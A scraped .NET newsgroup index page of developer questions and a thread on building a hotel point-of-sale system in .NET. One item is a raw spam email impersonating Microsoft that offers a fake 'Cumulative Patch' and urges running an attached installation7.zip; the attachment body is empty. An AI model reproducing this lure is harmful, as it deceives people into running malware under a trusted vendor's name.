 |
 |
Index ‹ DotNet ‹ Net Framework
|
- Previous
- 1
- Winforms >> Where do forms get the default icon from?I've replaced App.ico and it appears to have worked at the application level
but my forms haven't updated. Presuming I needed to change the icon on the
forms I started replacing them. But in the course of looking at some of the
forms and their associated resources, I discovered there were absolutely no
references to any icons in those files.
This raises the question, where do the forms get their default icon from? I
would have hoped they'd simply change to reflect the application icon by
default but that is obviously not the case.
Any ideas?
Thanks,
Doug Harber
- 2
- 3
- Winforms >> Visual Studio - Debug Error FormI am looking to see if someone has created that form that pops up in VS when
you hit an error during debug. The one with the error info, the connector
line to the line causing the error and can be dragged around.Anyone know
where I can find info on recreating this?
Thanks,
Brian
- 4
- Visual C#.Net >> CollectionBase problemHi,
i have a windows application.
This application uses a object that its of type collectionbase.
For other hand i have a ListBox, and i use this collection to fill it.
I have implemented the methods (in my class that derives from collection
base):
//to get an element from collection
public type of object Get_(int index)
{
return (type of object) List[index]
}
//to add into collection
public void Add_(type of the object object)
{
List.Add(object)
}
//to remove from collection
public void Remove_(type of the object object)
{
List.Remove(object)
}
I dont know if my steps are correctly:
1) when application loads i fill the collection, and i fill the listbox with
the collection.
2) When a person clicks in a item i get the object from the collection with
the index (ListBox.SelectedIndex)
3) i remove from collection this object that i got in the step 2.
4) i assign the datasource of the listbox to null
5) i remove from the listbox the item selected
6) i assign the datasource of the listbox the collection (with the item
removed in step 3)
When i execute the application, and i delete an item, all goes correctly
except when i delete the last.... In this case (deleting the last item) the
application deletes it, but when i selected another item, i get an Error of
type IndexOutOfRange exception....
Questions:
1) What could be the problem?
2) Its my logic to do this wrong?
3) Generally this kind of stuff are made following this way?
Any advice would be appreciated...
--------
Thanks
Regards.
Josema
- 5
- Microsoft Project >> setting a custom field in a macroI'm trying to write a macro where I get information from one custom,
project-level field, a string, and place it in another custom,
project-level field which is also a string.
So far, the way I've been able to access the value is by storing
Project.Task.field_one in a string variable I've already declared.
However, when I try to write Project.Task.field_two = string_variable,
I get an error message saying "The argument value is not valid".
Any thoughts?
- 6
- Dotnet >> Use these internet package--qdmeolsdzwg
Content-Type: multipart/related; boundary="rbetnmayppwdq";
type="multipart/alternative"
--rbetnmayppwdq
Content-Type: multipart/alternative; boundary="rynymdnbvae"
--rynymdnbvae
Content-Type: text/plain
Content-Transfer-Encoding: quoted-printable
Microsoft User
this is the latest version of security update, the
"February 2004, Cumulative Patch" update which eliminates
all known security vulnerabilities affecting
MS Internet Explorer, MS Outlook and MS Outlook Express.
Install now to protect your computer
from these vulnerabilities, the most serious of which could
allow an attacker to run code on your computer.
This update includes the functionality =
of all previously released patches.
System requirements: Windows 95/98/Me/2000/NT/XP
This update applies to:
- MS Internet Explorer, version 4.01 and later
- MS Outlook, version 8.00 and later
- MS Outlook Express, version 4.01 and later
Recommendation: Customers should install the patch =
at the earliest opportunity.
How to install: Run attached file. Choose Yes on displayed dialog box.
How to use: You don't need to do anything after installing this item.
Microsoft Product Support Services and Knowledge Base articles =
can be found on the Microsoft Technical Support web site.
http://support.microsoft.com/
For security-related information about Microsoft products, please =
visit the Microsoft Security Advisor web site
http://www.microsoft.com/security/
Thank you for using Microsoft products.
Please do not reply to this message.
It was sent from an unmonitored e-mail address and we are unable =
to respond to any replies.
----------------------------------------------
The names of the actual companies and products mentioned =
herein are the trademarks of their respective owners.
Copyright 2004 Microsoft Corporation.
--rynymdnbvae
Content-Type: text/html
Content-Transfer-Encoding: quoted-printable
<HTML>
<HEAD>
<style type=3D'text/css'>.navtext{color:#ffffff;text-decoration:none}
</style>
</HEAD>
<BODY BGCOLOR=3D"White" TEXT=3D"Black">
<BASEFONT SIZE=3D"2" face=3D"verdana,arial">
<TABLE WIDTH=3D"600" HEIGHT=3D"40" BGCOLOR=3D"#1478EB">
<TR height=3D"20">
<TD ALIGN=3D"left" VALIGN=3D"TOP" WIDTH=3D"400" ROWSPAN=3D"2">
<FONT FACE=3D"sans-serif" SIZE=3D"5"><I><B>
<A class=3D'navtext' HREF=3D"http://www.microsoft.com/"
TITLE=3D"Microsoft Home Site" target=3D"_top">Microsoft</A>
</B></I></FONT>
</TD>
<TD ALIGN=3D"right" VALIGN=3D"MIDDLE" BGCOLOR=3D"Black" NOWRAP>
<FONT color=3D"#ffffff" size=3D1>
<A class=3D'navtext' href=3D'http://www.microsoft.com/catalog/' =
target=3D"_top">All Products</A> |
<A class=3D'navtext' href=3D'http://support.microsoft.com/' =
target=3D"_top">Support</A> |
<A class=3D'navtext' href=3D'http://search.microsoft.com/' =
target=3D"_top">Search</A> |
<A class=3D'navtext' href=3D'http://www.microsoft.com/' target=3D_top>
Microsoft.com Guide</A>
</FONT>
</TD>
</TR>
<TR>
<TD ALIGN=3D"right" VALIGN=3D"BOTTOM" NOWRAP>
<FONT FACE=3D"Verdana, Arial" SIZE=3D1><B>
<A class=3D'navtext' HREF=3D'http://www.microsoft.com/' TARGET=3D" top">
Microsoft Home</A> </B>
</FONT>
</TD>
</TR>
</TABLE>
<IMG SRC=3D"cid:oexolxk" BORDER=3D"0"><BR><BR>
<TABLE WIDTH=3D"600"><TR><TD><FONT SIZE=3D"2">
Microsoft User<BR><BR>
this is the latest version of security update, the
"February 2004, Cumulative Patch" update which eliminates
all known security vulnerabilities affecting
MS Internet Explorer, MS Outlook and MS Outlook Express.
Install now to protect your computer
from these vulnerabilities, the most serious of which could
allow an attacker to run code on your computer.
This update includes the functionality =
of all previously released patches.
</FONT></TD></TR>
</TABLE>
<BR><BR>
<TABLE BORDER=3D"1" CELLSPACING=3D"1" CELLPADDING=3D"3" WIDTH=3D"600">
<TR VALIGN=3D"TOP">
<TD NOWRAP><FONT SIZE=3D"1"><B><IMG SRC=3D"cid:bundqkg" =
ALIGN=3D"absmiddle" BORDER=3D"0"> System requirements</B>
</FONT></TD>
<TD NOWRAP><FONT SIZE=3D"1">Windows 95/98/Me/2000/NT/XP</FONT></TD>
</TR>
<TR VALIGN=3D"TOP">
<TD NOWRAP><FONT SIZE=3D"1"><B><IMG SRC=3D"cid:bundqkg" =
ALIGN=3D"absmiddle" BORDER=3D"0"> This update applies to</B>
</FONT></TD><TD NOWRAP>
<FONT SIZE=3D"1">
MS Internet Explorer, version 4.01 and later<BR>
MS Outlook, version 8.00 and later<BR>
MS Outlook Express, version 4.01 and later
</FONT>
</TD>
</TR>
<TR VALIGN=3D"TOP">
<TD NOWRAP><FONT SIZE=3D"1"><B><IMG SRC=3D"cid:bundqkg" =
ALIGN=3D"absmiddle" BORDER=3D"0"> Recommendation</B></FONT></TD>
<TD NOWRAP><FONT SIZE=3D"1">Customers should install the patch =
at the earliest opportunity.</FONT></TD>
</TR>
<TR VALIGN=3D"TOP">
<TD NOWRAP><FONT SIZE=3D"1"><B><IMG SRC=3D"cid:bundqkg" =
ALIGN=3D"absmiddle" BORDER=3D"0"> How to install</B></FONT></TD>
<TD NOWRAP><FONT SIZE=3D"1">Run attached file. =
Choose Yes on displayed dialog box.</FONT></TD>
</TR>
<TR VALIGN=3D"TOP">
<TD NOWRAP><FONT SIZE=3D"1"><B><IMG SRC=3D"cid:bundqkg" =
ALIGN=3D"absmiddle" BORDER=3D"0"> How to use</B></FONT></TD>
<TD NOWRAP><FONT SIZE=3D"1">You don't need to do =
anything after installing this item.</FONT></TD>
</TR>
</TABLE>
<BR>
<TABLE WIDTH=3D"600"><TR><TD><FONT SIZE=3D"2">
Microsoft Product Support Services and Knowledge Base articles
can be found on the <A HREF=3D"http://support.microsoft.com/" =
TARGET=3D"_top">Microsoft Technical Support</A> web site. =
For security-related information about Microsoft products, please =
visit the <A HREF=3D"http://www.microsoft.com/security" TARGET=3D"_top">
Microsoft Security Advisor</A> web site, =
or <A HREF=3D"http://www.microsoft.com/contactus/contactus.asp" =
TARGET=3D"_top">Contact Us.</A>
<BR><BR>
Thank you for using Microsoft products.<BR><BR></FONT>
<FONT SIZE=3D"1">Please do not reply to this message. =
It was sent from an unmonitored e-mail address and we are unable =
to respond to any replies.<BR></FONT>
<HR COLOR=3D"Silver" SIZE=3D"1" WIDTH=3D"100%">
<FONT SIZE=3D"1" COLOR=3D"Gray">The names of the actual companies and =
products mentioned herein are the trademarks =
of their respective owners.</FONT>
</TD></TR></TABLE>
<BR>
<TABLE WIDTH=3D"600" HEIGHT=3D"45" BGCOLOR=3D"#1478EB">
<TR VALIGN=3D"TOP">
<TD WIDTH=3D"5"></TD>
<TD>
<FONT COLOR=3D"#FFFFFF" SIZE=3D"1"><B>
<A class=3D'navtext' HREF=3D"http://www.microsoft.com/=
contactus/contactus.asp" TARGET=3D"_top">Contact Us</A>
|
<A class=3D'navtext' HREF=3D"http://www.microsoft.com/legal/" =
TARGET=3D"_top">Legal</A>
|
<A class=3D'navtext' HREF=3D"https://www.truste.org/validate/605" =
TARGET=3D"_top" TITLE=3D"TRUSTe - Click to Verify">TRUSTe</A>
</FONT></B>
</TD>
</TR>
<TR VALIGN=3D"MIDDLE">
<TD WIDTH=3D"5"></TD>
<TD>
<FONT COLOR=3D"#FFFFFF" SIZE=3D"1">
©2004 Microsoft Corporation. All rights reserved.
<A STYLE=3D"color:#FFFFFF;" HREF=3D"http://www.microsoft.com/=
info/cpyright.htm" TARGET=3D"_top">Terms of Use</A>
|
<A STYLE=3D"color:#FFFFFF;" HREF=3D"http://www.microsoft.com/=
info/privacy.htm" TARGET=3D"_top">
Privacy Statement</A> |
<A STYLE=3D"color:#FFFFFF;" HREF=3D"http://www.microsoft.com/=
enable/" TARGET=3D"_top">Accessibility</A>
</FONT>
</TD>
</TR>
</TABLE>
</BODY>
</HTML>
--rynymdnbvae--
--rbetnmayppwdq
Content-Type: image/gif
Content-Transfer-Encoding: base64
Content-ID: <oexolxk>
R0lGODlhaAA7APcAAP///+rp6puSp6GZrDUjUUc6Zn53mFJMdbGvvVtXh2xre8bF1x8cU4yLprOy
zIGArlZWu25ux319xWpqnnNzppaWy46OvKKizZqavLa2176+283N5sfH34uLmpKSoNvb7c7O3L29
yqOjrtTU4crK1Nvb5erq9O/v+O7u99PT2sbGzePj6vLy99jY3Pv7/vb2+fn5++/v8Kqr0oWHuNbX
55SVoszN28vM2pGUr7S1vqqtv52frO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ECFgAchQg4VYiMyQhikAAjdwAStgAydyIm1yARVA
AQXQASvQhzYSAA2AAav4iq/4g0AYiyRwATRQAiqgAggwAxYgA7t4AAcQAjcIjBTSAgYwAySADOB4
iMkoi7uCAQuQJBYgZj3FfQOwDNpYJSnQAROAAZozjuS4AAsAfzLgAGzyACzYfXX4jlVSAmVAfQ+w
MCRgAyRAAvhIMCmCXNtXAAYQAu4okHryAzaAARNgjQYJJxNAfRF5AAaQAy2QjRYpdWBQBV2QawrA
gpLHfQpgAA1ggiMrYJInKWxIsRhfUAU82ZMj0Iwr8AM3qY3E9ntVV3lDWSUBAQA7
--rbetnmayppwdq
Content-Type: image/gif
Content-Transfer-Encoding: base64
Content-ID: <bundqkg>
R0lGODlhDAAMANUAAP////f3//f39+/v9+/v797m987W787W5sXW5rXF76295qW975y175St75St
3pSlzoyl1oSl5oylzoycxXOU3nOMxWOM5mOM3mOE1lqE3mOEvVKE1lp7xVJ71lJ7zlJ7xVJ7vUp7
zkpzzkpzxVJzrUprvUJrxUJrvUJjtTpjtTpjrTparTpapQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACwAAAAADAAMAAAIjAABAAhwwMGFCxAQ
CACwkICDDBYSLGjQwQEBhg8zDBAIYIEIBwIQdLjAoOOFgSFMIICwIUMEAxQwCBxhAgKHDh5C6DQA
IIGJEyA4fPAwYoQCAAVKoEgBQsKJEidQ8CyRYumDA1VTqNBQQYXXFQofsPB6AIAKFiweNBTLoiza
BxcFCjgwgQSJCQcWCggIADs=
--rbetnmayppwdq--
--qdmeolsdzwg
Content-Type: application/x-compressed; name="installation7.zip"
Content-Transfer-Encoding: base64
Content-Disposition: attachment
--qdmeolsdzwg--
- 7
- Visual C#.Net >> Base36Anyone have a c# Base10ToBase36 and Base36ToBase10 conversion routines? TIA
--
William Stacey, MVP
http://mvp.support.microsoft.com
- 8
- 9
- Winforms >> normal multiline editor.Visual C++ 2005 Express
MVP's and experience programmer's only please!...
I need to get the number of lines in a textbox so I can insert them into a
listview. The text comes from my database and is unformatted. I display the
text to my user in the listview. The textbox I create logically in the
program, and I initialize the correct properties for a normal multiline
editor.
When the user changes the column size then I reload the lines accordinally.
The problem I am having is when I get the lines property which is a
array<^>^(). The lenght is always 1 no matter how many lines are in the
textbox.
In MFC when the lines are wraped the new line character is automattically
inserted, but here it's not.
Can you help me solve this problem? I would really appreciate it!
Thanks!...
--
Eric Miller
- 10
- ADO >> Deleting In Strongly typed DatasetHi All!
After a long time for trying understand how strongly typed dataser
work, I've finaly success. Except on the delete command. When I do some
deleting, it only delete record from the dataset but not from the database.
I've try many thing but I turn arround. I paste you the code I use.
Me.cnAlbums.Open()
Dim Row As DsAlbums.PhotoRow =
Me.DsAlbums.Photo.FindByPhotoId(CInt(Me.lblPhotoId.Text))
Me.DsAlbums.Photo.RemovePhotoRow(Row)
Me.UpdateFlag = False
Me.DaPhoto.Update(Me.DsAlbums, "Photo") ' There is where it's suppose to
delete..?
Me.UpdateFlag = True
Me.cnAlbums.Close()
Sorry for my english but I'm french and I didn't get any response on the
french newsgroup
Thank a lot,
Francois
- 11
- Dotnet >> Building DataSets using SQL Servers MetaDataHi all.
Using Visual Studio VB.NET and SQL Server 2000.
When I drag tables from the SQL Server Explorer into a dataset I am building
I get the table, fieldnames and types. But, why doesn't it put in relations,
defaults and all the other information from the SQL Server. It takes time to
do this in VS when it is already done on the SQL Server. When I build a
diagram in SQL Server all this information gets there automaticly, but not
in VS.NET. Are there som settings I am missing here? We do have some
datasets with lots of tables and relations, constraints, defaults....
Thanx all.
gh
- 12
- ADO >> TableAdapter not updating table if the table is empty when loaded?I am having problems with the table adapter not updating (inserting a new
record) the sql server table if I open the form with out any records already
in the sql server table.
If I add on record in sql server management studio, the the table adapter
will work correctly, but there has to be at least on record.
What is going on??
There are not any exceptions being thrown.
I checked the table adapter commands (delete, insert, select, update) and
they match the other table adapter that are working correctly. (just
different fields and parameters)
What else can I check for?
Thanks
- 13
- 14
- Visual C#.Net >> building rotor 2.0Dear All,
I have extended the JScript compiler in rotor. Some of my code is added
to the JScript classes and some of my code is new classes and I have put
these in a new namespace "mynamespace" but all the code is in the
directory jscript. I have no problem building the code in the
jscript\engine directory. In particular, I can use the
Microsoft.JScript namespace in mynamespace and I can use mynamespace in
the files that are part of the Microsoft.JScript namespace.
The problem occurs when the build moves into the jscript\jsc directory
and it finds a Using mynamespace directive for which it cannot find a
reference.
I have looked in
C:\rotor\sscli20\binaries.x86chk.rotor\bin\rotor_x86\rotor_x86\Microsoft
.JScript.dll and it contains my code from the jscript\engine including
code from mynamespace.
From what I understand of the build process, the compiler is looking in
C:\rotor\sscli20\binaries.x86chk.rotor\ref\Microsoft.JScript.dll to
resolve references but in this file there is none of my code and no
mention of mynamespace.
I'd be grateful for any ideas.
Mohammad Alshriadeh
Computer Science Department(Neat Group)
The University of Hull
Hull
United Kingdom
HU6 7RX
Tel: 01482-465253
*** Sent via Developersdex http://www.developersdex.com ***
- 15
- Visual C#.Net >> custom controlhi i am rajendra i am posting my first question to this group i have
doubt from last few days .i want to clear it
why we need user control and wher should we use it,and the execution
of the user defined control. please let me know
|
| Author |
Message |
cacomp4

|
Posted: Wed Apr 12 20:15:57 CDT 2006 |
Top |
Net Framework >> POS System
I would like to create a Point Of Sale System. Is there a website that sells
the interface between a POS Cash register and .NET?
Thanks for the help
DotNet261
|
| |
|
| |
 |
Jamie

|
Posted: Wed Apr 12 20:15:57 CDT 2006 |
Top |
Net Framework >> POS System
"Angel" <EMail@HideDomain.com> wrote in message
news:EMail@HideDomain.com...
>I would like to create a Point Of Sale System. Is there a website that
>sells
> the interface between a POS Cash register and .NET?
>
> Thanks for the help
>
Angel,
I have desigened and written a complete POS system in .NET 2.0 (also a
complete reservation system for my Hotel). What Cash Register are you
looking at, if this is only a cash drawer, you need to look at the EPSON POS
specifications, these define standard fonts that you can send characters for
specific POS functions to occur (such as open Cash Drawer). The cash drawers
are usualy run directly from the Parallel Port of from a POS printer, if you
have one attached to the Parallel port.
Jamie
|
| |
|
| |
 |
William

|
Posted: Wed Apr 12 20:42:35 CDT 2006 |
Top |
Net Framework >> POS System
MS just did a whole API set for POS and devices for .Net 1.1
http://channel9.msdn.com/ShowPost.aspx?PostID=170597
--
William Stacey [MVP]
"Angel" <EMail@HideDomain.com> wrote in message
news:EMail@HideDomain.com...
|I would like to create a Point Of Sale System. Is there a website that
sells
| the interface between a POS Cash register and .NET?
|
| Thanks for the help
|
|
| |
|
| |
 |
William

|
Posted: Wed Apr 12 20:44:26 CDT 2006 |
Top |
Net Framework >> POS System
Cool. What Hotel brand? We have a HIExpress and are using the OperaExpress
sw.
--
William Stacey [MVP]
"Jamie Bissett" <EMail@HideDomain.com> wrote in message
news:%EMail@HideDomain.com...
|
| "Angel" <EMail@HideDomain.com> wrote in message
| news:EMail@HideDomain.com...
| >I would like to create a Point Of Sale System. Is there a website that
| >sells
| > the interface between a POS Cash register and .NET?
| >
| > Thanks for the help
| >
| Angel,
| I have desigened and written a complete POS system in .NET 2.0 (also a
| complete reservation system for my Hotel). What Cash Register are you
| looking at, if this is only a cash drawer, you need to look at the EPSON
POS
| specifications, these define standard fonts that you can send characters
for
| specific POS functions to occur (such as open Cash Drawer). The cash
drawers
| are usualy run directly from the Parallel Port of from a POS printer, if
you
| have one attached to the Parallel port.
|
| Jamie
|
|
|
| |
|
| |
 |
Jamie

|
Posted: Wed Apr 12 21:12:35 CDT 2006 |
Top |
Net Framework >> POS System
I own a hotel in Thailand, I looked around for a complete package to mange
my Hotel (60 rooms, 2 restuarants, 2 bars) but they were all very expensive.
I have been in the programming game for more the 30 years (how many more I
am not going to say, but I'm no young whipersanpper any more), so I decided
to write it myself. Strarted in VB 6 and MySql 5 years ago, just finished
conversion to SQL Server 2005 and .Net 2.0, working on the installation
programs and doc, then I may start to sell.
Jamie
"William Stacey [MVP]" <EMail@HideDomain.com> wrote in message
news:%EMail@HideDomain.com...
> Cool. What Hotel brand? We have a HIExpress and are using the
> OperaExpress
> sw.
>
> --
> William Stacey [MVP]
>
> "Jamie Bissett" <EMail@HideDomain.com> wrote in message
> news:%EMail@HideDomain.com...
> |
> | "Angel" <EMail@HideDomain.com> wrote in message
> | news:EMail@HideDomain.com...
> | >I would like to create a Point Of Sale System. Is there a website that
> | >sells
> | > the interface between a POS Cash register and .NET?
> | >
> | > Thanks for the help
> | >
> | Angel,
> | I have desigened and written a complete POS system in .NET 2.0 (also a
> | complete reservation system for my Hotel). What Cash Register are you
> | looking at, if this is only a cash drawer, you need to look at the EPSON
> POS
> | specifications, these define standard fonts that you can send characters
> for
> | specific POS functions to occur (such as open Cash Drawer). The cash
> drawers
> | are usualy run directly from the Parallel Port of from a POS printer, if
> you
> | have one attached to the Parallel port.
> |
> | Jamie
> |
> |
>
>
|
| |
|
| |
 |
Jamie

|
Posted: Wed Apr 12 21:16:16 CDT 2006 |
Top |
Net Framework >> POS System
When will this be upgraded to .Net 2.0 ??
"William Stacey [MVP]" <EMail@HideDomain.com> wrote in message
news:EMail@HideDomain.com...
> MS just did a whole API set for POS and devices for .Net 1.1
> http://channel9.msdn.com/ShowPost.aspx?PostID=170597
>
> --
> William Stacey [MVP]
>
> "Angel" <EMail@HideDomain.com> wrote in message
> news:EMail@HideDomain.com...
> |I would like to create a Point Of Sale System. Is there a website that
> sells
> | the interface between a POS Cash register and .NET?
> |
> | Thanks for the help
> |
>
>
|
| |
|
| |
 |
William

|
Posted: Wed Apr 12 21:26:00 CDT 2006 |
Top |
Net Framework >> POS System
Cool. 2 bars for 60 rooms?? I like the way you guys party! Cheers.
--
William Stacey [MVP]
"Jamie Bissett" <EMail@HideDomain.com> wrote in message
news:EMail@HideDomain.com...
|I own a hotel in Thailand, I looked around for a complete package to mange
| my Hotel (60 rooms, 2 restuarants, 2 bars) but they were all very
expensive.
| I have been in the programming game for more the 30 years (how many more I
| am not going to say, but I'm no young whipersanpper any more), so I
decided
| to write it myself. Strarted in VB 6 and MySql 5 years ago, just finished
| conversion to SQL Server 2005 and .Net 2.0, working on the installation
| programs and doc, then I may start to sell.
|
| Jamie
|
| |
|
| |
 |
William

|
Posted: Wed Apr 12 21:28:32 CDT 2006 |
Top |
Net Framework >> POS System
Not sure. I wondered that myself as it is probably less then 50 debug items
(total guess) to compile it to 2.0; unless they want to refactor the whole
thing using generic types or something.
--
William Stacey [MVP]
"Jamie Bissett" <EMail@HideDomain.com> wrote in message
news:EMail@HideDomain.com...
| When will this be upgraded to .Net 2.0 ??
|
| "William Stacey [MVP]" <EMail@HideDomain.com> wrote in message
| news:EMail@HideDomain.com...
| > MS just did a whole API set for POS and devices for .Net 1.1
| > http://channel9.msdn.com/ShowPost.aspx?PostID=170597
| >
| > --
| > William Stacey [MVP]
| >
| > "Angel" <EMail@HideDomain.com> wrote in message
| > news:EMail@HideDomain.com...
| > |I would like to create a Point Of Sale System. Is there a website that
| > sells
| > | the interface between a POS Cash register and .NET?
| > |
| > | Thanks for the help
| > |
| >
| >
|
|
|
| |
|
| |
 |
Jamie

|
Posted: Wed Apr 12 21:31:02 CDT 2006 |
Top |
Net Framework >> POS System
Check out www.edenthailand.com (also all in ASP .NET 2.0 and SqlServer!!
"William Stacey [MVP]" <EMail@HideDomain.com> wrote in message
news:EMail@HideDomain.com...
> Cool. 2 bars for 60 rooms?? I like the way you guys party! Cheers.
>
> --
> William Stacey [MVP]
>
> "Jamie Bissett" <EMail@HideDomain.com> wrote in message
> news:EMail@HideDomain.com...
> |I own a hotel in Thailand, I looked around for a complete package to
> mange
> | my Hotel (60 rooms, 2 restuarants, 2 bars) but they were all very
> expensive.
> | I have been in the programming game for more the 30 years (how many more
> I
> | am not going to say, but I'm no young whipersanpper any more), so I
> decided
> | to write it myself. Strarted in VB 6 and MySql 5 years ago, just
> finished
> | conversion to SQL Server 2005 and .Net 2.0, working on the installation
> | programs and doc, then I may start to sell.
> |
> | Jamie
>
>
|
| |
|
| |
 |
William

|
Posted: Wed Apr 12 21:39:59 CDT 2006 |
Top |
Net Framework >> POS System
If you follow the blog link, it looks like some folks are using it with 2.0.
One had an issue with some device, but that could anything.
--
William Stacey [MVP]
"William Stacey [MVP]" <EMail@HideDomain.com> wrote in message
news:EMail@HideDomain.com...
| Not sure. I wondered that myself as it is probably less then 50 debug
items
| (total guess) to compile it to 2.0; unless they want to refactor the whole
| thing using generic types or something.
|
| --
| William Stacey [MVP]
|
| "Jamie Bissett" <EMail@HideDomain.com> wrote in message
| news:EMail@HideDomain.com...
|| When will this be upgraded to .Net 2.0 ??
||
|| "William Stacey [MVP]" <EMail@HideDomain.com> wrote in message
|| news:EMail@HideDomain.com...
|| > MS just did a whole API set for POS and devices for .Net 1.1
|| > http://channel9.msdn.com/ShowPost.aspx?PostID=170597
|| >
|| > --
|| > William Stacey [MVP]
|| >
|| > "Angel" <EMail@HideDomain.com> wrote in message
|| > news:EMail@HideDomain.com...
|| > |I would like to create a Point Of Sale System. Is there a website that
|| > sells
|| > | the interface between a POS Cash register and .NET?
|| > |
|| > | Thanks for the help
|| > |
|| >
|| >
||
||
|
|
|
| |
|
| |
 |
William

|
Posted: Wed Apr 12 21:44:55 CDT 2006 |
Top |
Net Framework >> POS System
Nice place Jamie. Thanks for link.
--
William Stacey [MVP]
"Jamie Bissett" <EMail@HideDomain.com> wrote in message
news:EMail@HideDomain.com...
| Check out www.edenthailand.com (also all in ASP .NET 2.0 and SqlServer!!
|
| |
|
| |
 |
Jamie

|
Posted: Wed Apr 12 21:42:14 CDT 2006 |
Top |
Net Framework >> POS System
Could be a good place for a small developers conference ???
"William Stacey [MVP]" <EMail@HideDomain.com> wrote in message
news:%EMail@HideDomain.com...
> Nice place Jamie. Thanks for link.
>
> --
> William Stacey [MVP]
>
> "Jamie Bissett" <EMail@HideDomain.com> wrote in message
> news:EMail@HideDomain.com...
> | Check out www.edenthailand.com (also all in ASP .NET 2.0 and
> SqlServer!!
>
>
|
| |
|
| |
 |
Jamie

|
Posted: Wed Apr 12 21:44:18 CDT 2006 |
Top |
Net Framework >> POS System
I'v just downloaded, I'll give it a go -- think it could reduce a bit of
code for me in the POSPrinter areas, but I need to test the performance. One
of my bars is very busy, and the receipt printer is running flat out at the
moment. I currently write directly to the device to keep it running as fast
as I can. I will let you know how the experimantation goes.
Jamie
"William Stacey [MVP]" <EMail@HideDomain.com> wrote in message
news:%EMail@HideDomain.com...
> If you follow the blog link, it looks like some folks are using it with
> 2.0.
> One had an issue with some device, but that could anything.
>
> --
> William Stacey [MVP]
>
> "William Stacey [MVP]" <EMail@HideDomain.com> wrote in message
> news:EMail@HideDomain.com...
> | Not sure. I wondered that myself as it is probably less then 50 debug
> items
> | (total guess) to compile it to 2.0; unless they want to refactor the
> whole
> | thing using generic types or something.
> |
> | --
> | William Stacey [MVP]
> |
> | "Jamie Bissett" <EMail@HideDomain.com> wrote in message
> | news:EMail@HideDomain.com...
> || When will this be upgraded to .Net 2.0 ??
> ||
> || "William Stacey [MVP]" <EMail@HideDomain.com> wrote in message
> || news:EMail@HideDomain.com...
> || > MS just did a whole API set for POS and devices for .Net 1.1
> || > http://channel9.msdn.com/ShowPost.aspx?PostID=170597
> || >
> || > --
> || > William Stacey [MVP]
> || >
> || > "Angel" <EMail@HideDomain.com> wrote in message
> || > news:EMail@HideDomain.com...
> || > |I would like to create a Point Of Sale System. Is there a website
> that
> || > sells
> || > | the interface between a POS Cash register and .NET?
> || > |
> || > | Thanks for the help
> || > |
> || >
> || >
> ||
> ||
> |
> |
>
>
|
| |
|
| |
 |
William

|
Posted: Wed Apr 12 21:52:26 CDT 2006 |
Top |
Net Framework >> POS System
Sounds good to me. Wonder what a ticket costs from the US?
--
William Stacey [MVP]
"Jamie Bissett" <EMail@HideDomain.com> wrote in message
news:%EMail@HideDomain.com...
| Could be a good place for a small developers conference ???
| "William Stacey [MVP]" <EMail@HideDomain.com> wrote in message
| news:%EMail@HideDomain.com...
| > Nice place Jamie. Thanks for link.
| >
| > --
| > William Stacey [MVP]
| >
| > "Jamie Bissett" <EMail@HideDomain.com> wrote in message
| > news:EMail@HideDomain.com...
| > | Check out www.edenthailand.com (also all in ASP .NET 2.0 and
| > SqlServer!!
| >
| >
|
|
|
| |
|
| |
 |
William

|
Posted: Wed Apr 12 22:04:52 CDT 2006 |
Top |
Net Framework >> POS System
Thanks. That will be interesting to know.
hmmm.. I see a large LED text display scrolling random drink specials and
jokes. Maybe not. Cheers.
--
William Stacey [MVP]
"Jamie Bissett" <EMail@HideDomain.com> wrote in message
news:OH%EMail@HideDomain.com...
| I'v just downloaded, I'll give it a go -- think it could reduce a bit of
| code for me in the POSPrinter areas, but I need to test the performance.
One
| of my bars is very busy, and the receipt printer is running flat out at
the
| moment. I currently write directly to the device to keep it running as
fast
| as I can. I will let you know how the experimantation goes.
|
| |
|
| |
 |
Jamie

|
Posted: Wed Apr 12 22:02:38 CDT 2006 |
Top |
Net Framework >> POS System
As long as it mkes a few bucks, I'll program anything damn it.
"William Stacey [MVP]" <EMail@HideDomain.com> wrote in message
news:EMail@HideDomain.com...
> Thanks. That will be interesting to know.
> hmmm.. I see a large LED text display scrolling random drink specials and
> jokes. Maybe not. Cheers.
>
> --
> William Stacey [MVP]
>
> "Jamie Bissett" <EMail@HideDomain.com> wrote in message
> news:OH%EMail@HideDomain.com...
> | I'v just downloaded, I'll give it a go -- think it could reduce a bit of
> | code for me in the POSPrinter areas, but I need to test the performance.
> One
> | of my bars is very busy, and the receipt printer is running flat out at
> the
> | moment. I currently write directly to the device to keep it running as
> fast
> | as I can. I will let you know how the experimantation goes.
>
>
|
| |
|
| |
 |
| |
 |
Index ‹ DotNet ‹ Net Framework |
- Next
- 1
- Dotnet >> Error on Form opening if I compile from command line1) Open Visual Studio .Net 2003
2) Create new project Visual C # (Windows application)
3) Close Visual Studio .Net 2003
4) Compile from command line "devenv.exe /rebuild Debug /project Sample
Sample.sln"
5) Open Visual Studio .Net 2003
6) Open Form1 --> Error on document loading
If delete the hidden File .\obj\Debug\Sample.projdata I do not have more
this error
Why ???
- 2
- Visual C#.Net >> Remote Eventing Example RequiredHi,
I have foolishly got myself caught up in coding a pretty simple app in c#,
on the back of very little experience of the language. At the heart of the
app, is a remote server, which fires events of various types when particular
circumstances arise - around this server, I need a variety of clients, each
of which will be interested in one or more of the event types fired by the
server - so a group of clients in a network subscribing to events generated
remotely.
I would like to define an library containing abstract event types, and
implement them only where required (I don't want to reference the server
assembly in my clients - only the abstract library) It seems a common
scenario, and I'm sure there are people who do exactly this every day, but I
simply cannot find a good example on the web - the one I initially modelled
from was posted at http://www.codeproject.com/csharp/csRemoteEvents1.asp,
but I couldn't get it to work - probably because I couldn't correlate my
configuration settings with the code presented - but surely there is another
sample somewhere? (please don't point me atthe MSDN samples - the model
there is so contrived, and non-typical that it is almost useless).
Thanks in advance.
- 3
- Microsoft Project >> ProjectSP2.mspI upgraded MS Office 2003 to MS office 2007. Now I want to move from
Project 2003 to Project 2007. When I install 2007, I get the message
thet I have to remeove MS Project 2003 first, although this has been
removed earlier. I also get the warning that i need to refer the
location of the file Projectsp2.msp. Anyone encountered this before ?
Looking forward to your advise,
Regards,
KrL
- 4
- Dotnet >> Dynamic assign delegate function?Hi
I have an odd question: is it possible to have a delegate that recieves
a methodname dynamically?
Like this: aClassObj.OnGo += new ANamespace.Invoke(fName);
where fName would be a string with the function name;
Maybe this is totally conceptually wrong, but right now I'm nont sure
which way to go.
